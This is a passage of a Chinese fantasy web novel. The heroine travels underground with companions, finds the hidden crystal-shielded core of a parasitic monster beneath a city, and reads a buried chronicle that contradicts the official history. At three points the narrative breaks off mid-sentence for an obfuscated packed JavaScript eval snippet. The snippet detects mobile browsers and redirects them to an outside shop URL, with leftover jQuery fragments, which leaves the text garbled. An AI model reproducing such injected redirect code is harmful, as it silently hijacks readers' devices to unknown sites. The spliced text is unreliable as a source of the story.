我几乎是被晋川半拉着往前走去,思绪仍沉浸在方才与舒仲的最后对话中。 “你从一开始就知道雷枢背后是人君,所以当初才愿意帮我进地刑司?” “嗯,想着你若遇到未生,或许会顺手救他一把。” “可我当时只提了牧狸,从未说过未生的事。” 晋川唇角微扬,侧目瞥了我一眼,“你该不会以为——渊寂身边所有人,都对他忠心不二吧?” 刹那间,许多未解的疑团豁然开朗。 当初牧狸偶遇未生却被飞逍截回,飞逍因怕牵连而隐瞒此事,这尚且说得通,可为何当时在场的溟牙也保持了沉默?后来他甚至在我潜入地刑司时行了诸多“方便”…… 原来晋川与溟牙,本就是同一条船上的人。 拉着我径直走入密林深处,不知走了多久,晋川终于松开手。 眼前出现的三人让我惊得说不出话—— 脸上带疤的阿烈,旱鸭子船老大浩哥,还有……未生。 “阿烈?!浩哥!” “哎呀大姐头,看到你没事我们就放心了!”两个大老爷们飞奔过来对着我上下打量,浩哥甚至抱着焉耆,一手黑漆漆的墨汁。 “你们怎么,怎么——和他在一起?” 我望向那个名叫未生的男人。许久未见,他气色好了许多。 当初我将男人从束仙台救出,尾巴渡了他一丝仙力保命,他便带着一同越狱的盛放从笔柱山逃出。没想到会在此地重逢。 “大姐头,原来你认识大哥啊!”阿烈恍然大悟,连忙解释,“之前我跟你提过归德城玉胚的买卖,就是大哥说的。毕竟他……能走的路子比咱们多得多。” 未生缓步走近时,我下意识看向他手上的金属指套。也是,有土地的地方就能掘出通路,确实“门路”多。 “大姐,你这狗子都快饿瘪了,好歹上点心喂喂。”浩哥揉着焉耆圆滚滚的肚子,语气低沉下来,“北祐将军让我们别跟着队伍回月下州了。我们想了想,还是跟着大姐头你吧。毕竟……大将军已经不在了。” 说到此处,阿烈和浩哥这两个粗犷汉子竟泣不成声。我的心仿佛被狠狠揪住,泪水再次模糊了视线。 就这样,我们三人抱头哭了许久,直到晋川出声提醒:时间不多了。 “让我们去化西和天翮城报信?”我困惑地看向晋川,“既然已经让给仙界,他们总该接管才是。” “哼,你根本不知道渊寂的手段有多狠辣。”未生冷声打断我,“他会把这里变成淬炼仙军的修罗场,供那些仙人汲取仙力提升修为。而且——只有听话的狗,才有资格享用这块‘福地’。” “未生说得对。”晋川接过话,“换句话说,渊寂更希望无相孽的灾祸维持在一个可控的范围内,所以不会像煌木那样,选择速战速决。” 原来如此……难怪玉山的战事始终透着古怪,既无法取得实质性进展,却也从未真正溃败。 “这也是人君能为两城百姓做的最后一件事了。”晋川说到这里,眼中闪过一丝黯然,“为了玉山,他已倾尽所有。如今朝中那些逼他退位的人,恐怕早已趁他御驾亲征之际,布好了谋反的局。” 想起舒仲说自己时日无多时的神情,我不由心头一紧。他明知离开月下州是步死棋,却仍要亲临前线,是为了见舒岸最后一面,他不放心这个弟弟,甚至想过,至少保住弟弟的命。 “化西和天翮的消息,我会带到。”未生说着,目光落在我身上,“你要去天翮城,就跟我一起走。现在只有从地下走,才能避开仙军的耳目。” 我困惑地看向晋川,“你怎么什么都知道?连我要去天翮城都清楚?” “……”晋川轻叹一声,“你以为飞高高是怎么伪装相貌、隐藏魔族身份的?灵璧城里能有这本事的,只有万事知。” 我今天恍然大悟的次数有些多,多到感官都有些酸胀麻木。 原来晋川、万事知,还有不愁行的那三个小骗子都相识。 临行前我把牧狸托付给不愁行,他们转头便将我要去天翮城找桃夭神医的事告诉了晋川。晋川转告未生后,这个因牵连牧狸而心怀愧疚的男人,也决定一同去寻找神医。 “喂,你们走不走?再磨蹭就要被仙军发现了!”一个脸上带着刺青的女子从枯树洞里探出身来,见到我时惊呼出声,“小,小胖妞?!” 盛放,误以为尾巴是光溜无毛小老鼠,稀里糊涂越狱成功的那个女人。 “如何,尽早出发,起码要趁仙军察觉之前穿过归德城。”晋川再次催促道。 “我,我还没向小青辞别。” 晋川没辙,只能又将我送回桐树村。 不知不觉天已悄然黑了,时不时便有飞兽从空中掠过,似在侦查那无相孽母株的动静。 在驻地门口等了好一会儿,穆青才出来,我们终于可以在四周都是眼线监视窃听的情况下再见一面。 甚至,溟牙那讨厌的黑背蛇就在脚边,若非焉耆露出獠牙恐吓,那蛇恨不能盘在我头顶偷听。 “你什么时候启程?” “至少要等母树的问题解决。”穆青全然不顾周围的视线,轻轻将我拥入怀中,“舒岸力量异化形成的晶盾坚不可摧,连烈火都无法灼伤分毫。虽然情况棘手,但好在母株也因此被限制了行动,还有转圜的余地。” “我得先走了。小青,你一定要平安。” 因即将离别而流泪的男人,仿佛一朵盛满朝露的青莲。 “答应我的事,你要做到,好么照夜。” 我在穆青肩头蹭去眼泪,重重点头,“嗯,我等你回来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549523|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 曾经我以为,人生每一次离别都该有盛大的仪式。却不曾想,最终竟是在这样一个平凡的黄昏,以如此云淡风轻的方式,完成了我与穆青之间——最艰难的告别。 枯树的底部形成了一个天然的空洞,为我们挖掘地道创造了绝佳的开端。 船老大兼厨子的浩哥、脸上带疤嗅觉敏锐的阿烈、刺青纹身且听觉不错的盛放、挖地道高手的未生、负责吃喝拉撒睡的焉耆,再加上一无所长的我——这支临时组成的队伍,就这样踏上了征程。 这一带的土质颇为松软,还时常会遇到地下暗河,挖掘起来并不算太费力。 我默默跟在队伍后面,听着盛放向阿烈吹嘘自己多次成功越狱的“光辉事迹”,思绪却渐渐飘远。 青莲瓶在我怀中忽明忽暗,尾巴依然沉睡不醒,谁也不知道他何时才会醒来。 原本骑行需两天的路程,现在走地下需要至少五天才能抵达归德城附近,好在前期未生和盛放便已悄悄开辟了一段路,尚算轻松。 可惜我这一身软肉实在不争气,没走几步就累得气喘吁吁,大家只好走走停停。 好在这在场的四人好像都承我救命之恩,对我格外照顾,倒也无半句怨言。 出发后的第三天,在这不见天日的地下,我们挖到了一条暗河,便找了处干燥的河滩稍作休整。 阿烈带着焉耆去四周探查情况;浩哥支起锅子准备煮些热汤;未生显然累坏了,瘫在地上一动不动;盛放依旧叽叽喳喳说个不停,还问我那只“光头老鼠”怎么还没醒。 我捧着尾巴瘫软的光团,心里也有些着急,便走到河边,把他浸进冰冷刺骨的河水里涮了涮,轻轻搓洗。 没想到这一下竟惊醒了尾巴,光团猛地打了个激灵,像是炸毛般竖起了不存在的毛发。 “尾巴!你醒了?!” “好冷!”尾巴抓住我的手指,扬起小小的脑袋,光晕中仿佛绽开一个微笑,“想我了吗,照夜?” 我开心得跳了起来,却不慎脚下一滑,跌进了不算湍急的河里。 尾巴大笑着攀住光滑的石壁,将我拽上岸来,“笨蛋,我只是在睡觉,一直都在呢,别担心。” “你是在把仙力压缩到仙丹里吗?” 尾巴化作温暖的光晕包裹住我,温热的仙力如火焰般缓缓蒸干我湿透的长发和衣衫。 “嗯,你别生气,我……嗯又偷偷吸收了一些仙力,是不是又胖了一点?” 我低头看着自己明显隆起的小腹,把尾巴搂到脸颊边轻轻摩挲,“没关系,我不在意。只要你还在就好。” 像在抚摸我的眉眼,尾巴咯咯笑道,“我无法消失,你的担忧倒是多余了。” 见我眼中泛起泪光,尾巴微微一怔,轻轻蹭去我眼角的湿润,继续柔声道,“别哭。每个人都有自己必须完成的使命,亦如青莲,亦如舒岸,亦如钩星,亦如你我。” “舒岸回归了无相孽的母株,他在用最后的意志控制无相孽的泛滥。咱们不该辜负他的牺牲。” “听我说,照夜。”尾巴深吸一口气,捧住我的脸,“舒岸异化形成的晶盾坚硬无比,而且能吸收仙力,常规手段根本无法破除。所以接下来这个消息,既不算好,也不算坏。” “是什么?” “舒岸虽然是无相孽的核心……但并非唯一。这个物种拥有智慧,在意识到核心‘背叛’后,就会孕育出另一个核心,将原先那个彻底诛杀、吸收。到那时,晶盾自然会破碎,但无相孽将不再受控,必定会肆无忌惮地展开攻势,迅速吞噬仙军,以及另外两座城池。” 我深深叹息,也就是说,好消息是舒岸控制了无相孽,而坏消息是……这个控制只是暂时的。 一旦无相孽破盾重生,只会比以往更强大、更难缠。 想到那些菌团恐怖的侵蚀力,我不禁头皮发麻。 “喂,小胖妞,你怎么又在和光头老鼠自言自语。”盛放好奇地探过头来,盯着尾巴端详。 “啊气死我了,我才不是老鼠!!而且才不是——光头!!”尾巴举起毫无震慑力的“小拳头”示威,显得滑稽又可爱。 “他不是老鼠。” 58. 第 58 “对了,这东西你从哪儿弄来的?”盛放突然凑近,好奇地打量着我颈间的月信石吊坠,“难不成你也要去参加月翮圣女的选拔?” “……什么,什么选拔?” 盛放看起来比我还惊讶,“你不知道?这是参赛凭证啊。”说着她拉开衣领,露出一枚完全相同的挂坠,“我可是从黑市贩子那儿高价买的,足足花了五万利衡币呢。” 我一时语塞。原来羽婆临终前交给我这个吊坠,是要我去参加什么圣女选拔。 “啧啧,这老太婆真是诡计多端。”尾巴幸灾乐祸地在我发间打转,“知道直接逼你去参赛你肯定不答应,就假借送还信物的名义,先把你骗到天翮城再说。笨蛋照夜,上的当还真是一个接一个。” “我才不去!”我恼羞成怒,“等找到桃夭神医,我立刻返回月下州!” 盛放拉着我回到篝火旁,递来一碗热汤,“那你可得排队。每天找神医看病的人多如牛毛。或者——”她狡黠地眨眨眼,“你可以花大价钱插个队。” “糟了,我出来得急,一分钱没带。” 浩哥很是讲义气地拍拍胸口,“大姐,我这儿还有五万利衡币,先借你。” 默默啃着干粮的未生叹了口气,“你们想得倒远,先平安抵达化西再说后续吧。” 盛放乐呵呵抱怀道,“以后本姑娘可就是圣司大人了,你们都得乖乖听我的话!” 未生闻言,翻了个白眼,干脆不开腔了。反倒是浩哥连忙谄笑着凑到盛放跟前,提前筹谋起了未来。 这时阿烈带着焉耆回来了。小狗立即扑进我怀里,对着尾巴猛舔,随即叼起他跳进河里嬉戏玩水。 见尾巴醒来,我靠着湿冷的岩壁长舒一口气,紧绷的心弦终于稍微松弛下来。 “大姐头,我们刚才发现了一簇无相孽的根。” 一听阿烈这话,我立刻又紧张了起来,“发现卵壳了么?!” “没有没有,就是一簇根,已经晶化,但看着明显是活物。” 未生闻言,略思考一番,决定前去探个究竟。 尾巴骑在焉耆脑袋上,在前方带路,我们则沿着阿烈发现怪物的痕迹前行,穿过一道狭窄的岩缝后,进入了一处地下空洞。 空气中弥漫着潮湿的泥土气息与隐约的腐殖味道,岩壁上的水珠不时滴落,在寂静中荡开清晰的回音。 “你看那里。”阿烈指向洞穴深处。 一簇暗红色的晶状根系自洞顶垂落,如倒悬的血管网络,在昏暗中泛着诡谲的微光。 晶体表面光滑,内里却似有粘稠的液体在缓慢流动,传递出若有若无的搏动。 为让我看得清楚,阿烈和浩哥一左一右将我托起。两人脸憋得通红,阿浩更是忍不住嘟囔了一嘴:大姐头,你这分量是一点没减啊。 我伸手轻触那晶化的菌丝,指尖传来温热而坚韧的触感。这些异化后的菌丝既具矿物般的硬度,又保留着生命的温度,在黑暗中静静脉动。 “太深了。”未生仰望着根系延伸的源头,额角渗出冷汗,“这里离地面至少三十米。即便摧毁地上部分,埋藏如此之深的网络也几乎无法根除。” 尾巴跳到我头顶认真观察一番,低声道,“确实是个棘手的敌人,哪怕是太初僊都难以彻底将其消灭,何况这怪物,只要留下一丝残躯,便会慢慢繁衍,哪怕用十年,百年,总会卷土重来,再度成灾。” 一时间,沉重的气氛笼罩着所有人,无力的挫败感如巨石压在心头,连呼吸都变得困难。 敌人就在眼前,我们却束手无策。 “该出发了。”未生率先打破沉默,“必须赶在这怪物复苏前抵达化西城。” 在未生的催促下,我们收拾行装继续前行。有尾巴在身边,我可以安心地走在队伍末尾。 地道蜿蜒曲折,不知走了多久,终于抵达未生此前开凿的终点。 前方是坚硬的岩层,即便是未生集中精神开凿,也需要耗费不少时间。 我们便选择在一处较为开阔的洞穴中暂作休整。连日跋涉让众人都疲惫不堪,简单用过餐食,安排好守夜顺序后,便各自歇下。 幸好有尾巴化作的光茧庇护,他的呼吸声近在耳畔,令人安心。即便身处这伸手不见五指的地底深处,我也不觉得孤单。 “又在想青莲了?”尾巴轻声问道。 “他要去取回煌木存放在源涡池的仙力,我很担心。” “没办法,青莲消耗了太多仙力,必须走这条捷径。” 虽然我与穆青谈心时尾巴尚未苏醒,但他似乎什么都知道。也是,我们如今是一体,自然不会有什么秘密。 “他说怕我暴露,会引来更多觊觎,所以不让我把仙力渡给他。” “啧,你可能没意识到,那些提议将你炼丹的人,并非在说笑。当然,想炼化你也没那么容易。罢了,煌木积攒的仙力留在池子里也是浪费,青莲吸收了总比留给渊寂强。” “尾巴,你说魔界的瘴母神,真的被彻底消灭了吗?” “也许只是沉睡了,等待着某日破土重开。” 我的心情不由低落下来。当年煌木和阿戈里亚斯付出如此代价都未能彻底清除膣藟的残骸,净化这片被污染的土地。 究竟要付出怎样的代价,才能换来天地澄明,永世安宁? 梦中,海浪声无处不在。冰冷的海水轻抚过我的脚趾,仿佛在催促我醒来。 那个青衣少年正俯身注视着我,乌黑的长发几乎垂落在我脸颊上。 “你又来了,照夜。” “为什么我总是梦见你?” 我撑坐起身,茫然地望向无垠的大海。昏黄的光晕下,远方的海面化作深邃的墨色,仿佛被什么巨大的阴影笼罩着。 脚下细软的白沙触感无比真实,让人难以相信这只是一场梦。 或许,这根本就不是梦。 “你太疲惫了,意识便会被仙丹牵引至此。”少年的声音如同远处的海风,“又或者,当你感到不安时,本能地想要寻找一个安全的港湾。” 我揉着发胀的太阳穴仔细回想。第一次来到这里,似乎是在逃往青莲山的途中。许是连日来的紧张让我无法安眠,才会再次坠入这个梦境深处。 “这究竟是哪里?我从未见过这样的海。” 煌木将我轻轻拉起,目光投向海浪涌来的方向,“这里是黑海,比东海更遥远的海域。这片银缕沙滩在夜色中会泛起珍珠般的柔光。”他顿了顿,“不过呢,你来早了,离日落还有很久。” 我俯身捧起脚下的细沙,晶莹的颗粒在指缝间闪烁,确实隐隐散发着微光。 远方的海面呈现出深沉的墨蓝色,与天际线交融处却泛起淡淡的银辉。 海浪不急不缓地拍打着海岸,每一次退去都在沙滩上留下一道道细密的泡沫,如同大海呼吸的痕迹。 “可我没心情赏景,”我低声说,“小青失去了法器,舒岸付出了生命,外面的世界糟透了。” “如果每一天都觉得糟糕,人生就只剩下挣扎,失去了它本应有的意义。”煌木的声音平静如海面,“人活着,终究会想方设法寻找快乐。” 我注视着这个始终云淡风轻的少年,忍不住问,“你……还活着吗?” “你认为,什么才算活着?” 这个问题让我陷入沉思。肉身消亡就不算活着吗?可我的躯体也曾死去又重塑,我依然存在。 又或者,只要仙丹未崩解,便不算真正的死亡? 就像现在的牧狸。 听完我的回答,煌木轻轻笑了,“那么在你看来,仙丹究竟是什么?” 我只知道仙丹是仙力积聚的最终形态,是人这种生命必须有的东西。至少修仙指南上是这么写的。 并不急于纠正我的答案,煌木只是远眺着这片壮阔的海景。 在这空无一人的虚境中,海浪声却显得格外清晰。甚至咸涩的海风拂面而来,都会带来极度真实的,深海特有的气息。 我没有那么多心情赏景,只是伏在少年坚硬的膝盖上,沉入真正的梦乡。 前路渺渺,我一点也不快乐。 偶尔,我也会后悔当年和穆青离开小苹村。年少的我们为何要怀着修仙的梦想呢? 也许,一辈子生活在与世隔绝的小村庄也挺好的。 只是,真到燔磷之火点燃整片大地那一刻时,我们能做的,也只是迎接死亡。 未生开凿前路的进展异常艰难。 我们似乎已经来到了无相孽母株的正下方,这里的岩层本就格外厚重,更遍布着母株那已经晶化的菌丝。挖掘时必须万分谨慎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549524|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——未生指套上附着的仙力既要避开那些会吸收能量的晶体,又要确保深度足够,以免被地面上巡视的仙军察觉动静。 三天过去了,我们只前进了不到三丈。 在这不知日月的地下,未生耗尽了所有力气,倒头便睡,震天的呼噜声宣告着他确实已经筋疲力尽。 长期不见天日的生活令人压抑。但盛放、浩哥和阿烈却显得颇为自在,他们似乎早已习惯了这种地下生活。一有空闲,三人便聚在一起规划着未来。 盛放对成为月翮圣女一事志在必得,已经开始详细部署她的“大业”。言谈间,她已封阿烈为守约卿,浩哥为聆月使,甚至连焉耆都被封为圣宠君。 我无聊地问了一句,“那我呢?给我什么封赏?” 盛放认真思索片刻,郑重答道,“想当奉月信女的话,你得先减减肥。信女个个都得貌美如花、身姿窈窕,哪怕终身不嫁,直到年老也依旧要保持月辉般的风采。” “那不行,”我立刻摇头,“我要和小青成亲。等他办完事回来,我们就要成亲。我才不当什么信女。” “成亲有什么好?动动脑子!”盛放嗤之以鼻,气冲冲地说,“男人的甜言蜜语根本信不得,全是骗子。” “……也不尽然,毕竟浩哥可是吃了他婆娘的亏。”阿烈为了反驳盛放,放出了浩哥的“私料”。 正在淘洗植物根块准备喂焉耆的浩哥插话道,“啧,那是我没出息,不怪丽娘,是我没出息。” “哈哈,盛放,你来评评理!” 于是我又听了一遍浩哥被发妻抛弃的故事。 讲完后,阿烈便让盛放谈谈感想。女子一时语塞,她同情浩哥的遭遇,却又不愿承认自己的观点有失偏颇。 其实我们都明白,盛放会这么说,必定与她自己的经历有关。 “哈哈哈,傻女人被男人骗,傻男人被女人骗。”听得津津有味的尾巴趴在我头顶笑道,“你说为什么傻女人不跟傻男人凑成一对?这样大家都省心。” “讨厌,要你出馊主意。” 尾巴顺着我的头发滑到胸前,手舞足蹈地说,“要我说,笨蛋配笨蛋就挺好。要是让你遇上渊寂那种老狐狸,怕是早就被啃得骨头都不剩。” 我顿时愣住,趁那边三人还在争论“坏男人和坏女人”的话题,小声问尾巴又从哪里听来了不得了的大新闻。 万万没想到,尾巴随即吐露了一个让我天灵盖都要震碎的大秘密。 尾巴这家伙极不老实。 先前操纵仙力从未生体内穿行时,尾巴不仅给对方留了些许仙力作为“盘缠“,还顺手窥见了对方深藏心底的秘密。 未生的第一位师父,正是晋川与川晋的师尊,仙名云芨。 这位云芨仙人原本位列玄珠,风姿清逸,术法超群,品性更是众口称道,在仙界口碑榜上常年位居前列。 云芨与鲛人族公主芳光结为连理,本是天作之合,谁知芳光竟对渊寂一见倾心,尚未与云芨和离便与渊寂私通,生下了凤琤。 因孕育凤琤损耗仙基,芳光在生产后不久便香消玉殒。 此后云芨一蹶不振,性情日渐乖张,最终自暴自弃遣散门徒,沦落为散仙。 那时刚拜入师门的未生便随其他师兄弟转投了雷枢仙人门下。唯有大弟子晋川始终不曾离去。 百年前仙魔大战期间,云芨因违抗仙帝诏令,连同弟子晋川、川晋一同被投入地刑司。 最终这位曾经的玄珠仙尊,在爱徒的注视下,于寂灭池中碎成了渣滓。 而当时的行刑者,正是时任玄珠首席、执掌地刑司的——渊寂。 “天啊,你怎么能偷看别人的秘密!“我揪住尾巴的光团,狐疑地瞪着他,“你该不会也偷看过我的秘密吧?“ “笨蛋哪有什么秘密可言。“尾巴满不在乎地晃了晃,“再说你身上每个角落我早就看遍了,包括你八岁尿裤子还想嫁祸给青莲那件事——“ 我慌忙捂住尾巴的下半截,脸颊烧得滚烫,“讨厌!不准告诉小青!“ “哈哈哈,笨蛋,青莲怕你阿爹揍你,早就趁阿爹回家前把裤子洗干净了。“ “……你的嘴巴到底长在哪儿啊?“ 真是无语,我上次捂住尾巴的上半部,他能说话,怎得换做下半部,他仍旧能开腔? 59. 第 59 尾巴神气地大笑着,光团轻轻捧住我的脸,几乎贴着我的嘴唇,柔暖的光芒在我眼前流转,“笨蛋,尾巴没有嘴,尾巴只是——尾巴而已。” 我笑着把尾巴搂到颈窝间,小声嘀咕,“没关系呀,只要我能听见你说话就好。反正你又不吃饭,没有嘴巴也不要紧嘛。” “……但是有屁股洞!” “哎呀!讨厌鬼!” 意外得知渊寂的秘辛后,我心里竟泛起一丝隐秘的快意。看来窥探他人隐私确实是件让人心情愉悦的事。 由于直线挖掘太过艰难,加上周围土层都被菌丝覆盖,开凿难度有增无减,我们商议后决定继续向下深挖,从更深处绕过无相孽的母株根系。 打定主意后,未生重新开始挖掘。这些天他累得够呛,全凭顽强的意志支撑着尚未痊愈的身体。 好在焉耆渐渐掌握了挖洞技巧,吃饱后总是哼哧哼哧卖力干活,反倒成了我们中最堪大用的一员。 就这样又过了四天,我正窝在深坑旁打盹,被浩哥摇醒:未生在更深的地底有了重大发现。 这条新通道极其深邃,幸好有听觉敏锐的盛放,能听见底部的未生招呼我们下去。 阿烈不死心地拍着胸脯逞能,说要先跳下去接住我。我还以为他有了长进,结果证明——他依旧啥也不是。 我从洞口跃下,结结实实一屁股坐在阿烈胸口,压得他直翻白眼。他缓了好半天才吐出一句,“大姐头,真得减减了……” 小狗焉耆欢快地扑进我怀里,像是在炫耀自己的功劳,讨要奖赏。虽然浑身臭烘烘的,我还是抱住它亲了好几口。 得到鼓励后,焉耆窜到前方带路,要领我们去看未生的重大发现。 眼前的地下暗河,充沛的水流暗示着地表正值丰雨期。 这是一条天然形成的石隧,因常年流水冲刷而变得光滑透亮,岩壁上隐约泛着矿石的幽幽绿光。 由于只能涉水前行,我和旱鸭子浩哥只得一左一右紧紧抓着阿烈,生怕齐腰深的河水把我们淹没。 盛放则举着灯跟在领路的焉耆身后,带着我们一行人顺着水流向南行进。 约莫走了三个时辰,河道逐渐开阔,我们终于得以登岸。继续前行一刻钟后,抵达了终点。 展现在眼前的是一处极为开阔的石洞,不远处传来轰隆水声,空气中弥漫的湿热气息暗示着附近有地热泉。 按距离估算,我们应该正处于归德城正下方一百多米处。 很难说这里完全是天然形成的洞窟——因为处处保留着明显的人类活动痕迹。 未生已然累到极限,倚在角落目光呆滞。焉耆好奇地凑上前盯着他看,那小眼神仿佛在琢磨:如果快咽气了,能不能就这么吃掉。 浩哥与阿烈依次点亮了洞内残存的长明灯,昏黄却足够明亮的光线逐渐铺满了这处宽阔的石洞。 与四周数十座摆满古籍的书架相比,石洞正中央的景象更令人无法移开视线—— 那是一颗巨大无比的肉瘤,如同倒悬的、搏动的心脏,深深扎根于岩层之中。 肉瘤的表面不再覆盖柔软的菌丝,而是彻底晶化的猩红组织,凝结成一层坚硬、光滑、闪烁着妖异血光的晶盾。 这晶盾并非浑然一体,而是由无数粗如蟒蛇、细如血管的晶化菌丝紧紧缠绕、交织而成,仿佛为这颗心脏披上了一件坚不可摧的、仍在呼吸的铠甲。 “咚……咚……咚……” 低沉而有力的搏动声在石洞中有节奏地回荡,每一声都仿佛直接敲击在我们胸口。 随着每一次搏动,晶盾内部的赤色光芒明暗流转,如同血液在其中奔涌。透过半透明的晶盾表层,隐约可见内部那暗红近黑的、粘稠的□□在缓缓蠕动。 这,就是无相孽真正的核心。它竟深藏在归德城地下如此隐秘之处。 尾巴在我头顶踮起光团状的“脚尖”,仔细嗅探观察着,低声沉吟,“本以为核心会藏在那株母树体内……原来它吞噬舒岸后,竟通过菌丝网络将其送到了这里保护起来。即便仙军在地上摧毁了母株,也绝不会料到,真正的核心藏在这地底深处。” 湿热而诡异的环境让我阵阵发寒,却又莫名燥热。 我深吸几口气,后退几步,接过阿烈的佩刀,尝试劈开这晶盾。 然而,这借由舒岸意志异化而成、承载着绝对“守护”信念的血色晶盾仿佛拥有生命与意识。 盾面在受到攻击的瞬间微不可察地调整角度,精准地化解了所有力道。 即便是经过熠石强化、蕴含纯净仙力的刀刃,在触及盾面的刹那,仙力也如泥牛入海,未激起半分涟漪——仿佛被盾下那蠕动着的、充满生命力的晶丝彻底吞噬、吸收。 “怎么会这样?”我难以置信,“不是说纯净的仙力对它形同毒药吗?为什么连熠石都破不开这晶盾?” 尾巴沉默片刻,望着那颗搏动的肉瘤轻叹,“并非无法破开,而是——晶盾在以肉眼难以捕捉的速度迅速修复创面,重新聚合如初。难以想象,舒岸的意志竟如此强大……即便身死,执念依旧不散。看来仙军对此也束手无策,更别提用烈火焚烧无相孽的本体。或许……唯有等到舒岸这枚‘背叛’的核心被新生的核心处决、吞噬,晶盾崩毁的瞬间,我们才有一线胜机。” 想到舒岸已被眼前这狰狞的肉瘤吞噬,我眼角再度湿润,慌忙转过身,悄悄拭去涌出的泪滴。 “哎,这真是进退两难的选择。若当时舒岸不尽快回归无相孽的母株凭借最后的意念控制无相孽,其母株便会彻底摆脱控制,以恐怖的力量将在场所有人吞噬掉,迅速向南蔓延。起码融入母株,尚且赢得一丝喘息的机会,不至于输得一败涂地。” 我默默听着尾巴所言,心口闷疼不已。 “这儿倒是像极了青莲山中的湖下密洞,看样子,这儿的主人也很爱看书。”本一言不发,正在休息的未生突然开了口,“只可惜,环境潮湿,大部分书恐怕早已腐坏。” 我抱着膝盖,心情说不出的沮丧,“我们藏书是为了学习,以前穷买不起书,后来……才有机会好好读书。” 未生几不可闻笑了一声,“你的意思是,这儿的书并非供主人学习所用咯?都是读书,能有什么区别,莫非你读书,要显得更特别些?” 我确实护短,哪怕护的是琼池下的十万卷书,可那都是穆青一本一本给我买回来的,我自然要护着。 当然,也不全然是买,穆青晋升上仙有机会出入仙界的典藏司后,经常会顺手牵羊将仙帝的书“借”几本回来,虽然没打算还就是了。 “喂,照夜!过来!” 听到尾巴叫我,我便走到了一处书架下,这时,借由着长明灯昏暗的光,我才有心思好好观察一番这处地下石洞。 石洞内空气潮湿,混合着岩石的土腥、菌类增殖的霉腐,以及一种更深沉的、难以描述腐朽气息。 四壁并非完全天然,有人工开凿的痕迹,还有一排排已然腐朽、被暗红色菌丝悄然侵蚀的木架。 架上书籍大多已化作糊状的纸泥,或与菌毯融为一体,只有极少部分因材质特殊或位置侥幸,还残留着残破的轮廓。 尾巴递来的书卷封面上,依稀可辨几个大字——未湖纪事。 我小心翼翼地拂去表面的污渍,轻轻翻开。 书页粘黏,发出不堪重负的细微撕裂声。里面的墨迹已因潮湿而洇开,许多段落模糊难辨,但依旧可以勉强凭借着零散的字句,拼凑出一段被尘封的惊悚往事。 〖……慕朝贞元年间,秋,未湖之畔忽生异变。有瘴母自天外陨落,其形如囊,沉于未湖深涧。不数日,湖水产异,饮之者,初觉体健,旬月后,腹涨如鼓,内感蠕动,痛楚难当。及至体破,则有赤虫万千涌出,噬尽宿主残躯,复又寻新宿主,或归湖水中,产卵繁衍。其势蔓延,仙凡皆不能免。时哀鸿遍野,尸骨塞川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549525|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仅三年,因此灾罹难者逾数十万众,未湖左近,几成鬼域…… ……后,天火自九霄降,非雷非电,其色玄赤,名为燔磷,焚山煮湖,三年不绝。瘴母与其所育妖虫,遂焚灭殆尽,然未湖之地,亦生机断绝,灵脉枯涸……〗 读到这里,一股刺骨的寒意顺着我的脊椎悄然爬升。这是我第一次在文字中直面关于“瘴母神”的记载。 慕朝……未湖……那是近千年前的往事了。 我强压下心头的悸动,努力在记忆深处搜寻有关这个朝代的记载。 记得新朝之前,人界尚未吞并玉山南,除月下州外仅有九城。那时流传的《九州纪年》中确实记载了慕朝时期一场因未湖而起的仙、人之战,但书中的叙述与眼前所读截然不同: 〖慕朝贞元年间,有‘未湖之盟’。初,仙民与凡人争未湖渔盐之利,互不相让,遂起刀兵。战事惨烈,历时三载,双方死伤无算,约十万众殁于湖畔。后,时任魔皇阿都得,怜众生涂炭,亲赴未湖,斡旋调停。终使仙凡两界立约,划未湖为二,各占其半,永息干戈。为固盟约,遵太初僊古训,遂于未湖之地,共设‘禁仙锥’九枚,绝仙力流转,以示永弃仙道争端。自此,未湖遂为‘绝灵之地’,不复为修仙者所念。〗 真是诡异——同一段历史,地方残卷记载的是“瘴母孵化、虫卵寄生、天火灭灾”的恐怖灾变;而通行史书却将其美化为“仙凡资源争夺、魔皇调解、设立禁仙锥”的局部战争。 “有趣,原来历史真相就是这样被‘修饰’的。”尾巴趴在我掌心,仿佛在逐字阅读《未湖纪事》上残存的墨迹,“这些记载真相的书卷被搜罗至此,埋藏在不见天日的地下,只能静静等待彻底湮灭。” 我心中波澜起伏。想必此处的藏书或多或少都触及了瘴母神、无相孽或是成虫膣藟的真相。 仅从未湖之事的两种迥异记载来看,历史叙述的可信度已然崩塌。 千年前未湖灾变的真相,本是一场由名为“瘴母神”的怪物引发的浩劫。 所谓的“仙凡战争”,或许不过是灾难初期被寄生者异化、相互攻击造成的混乱,以及后期为封锁污染、清理怪物而不可避免的冲突。 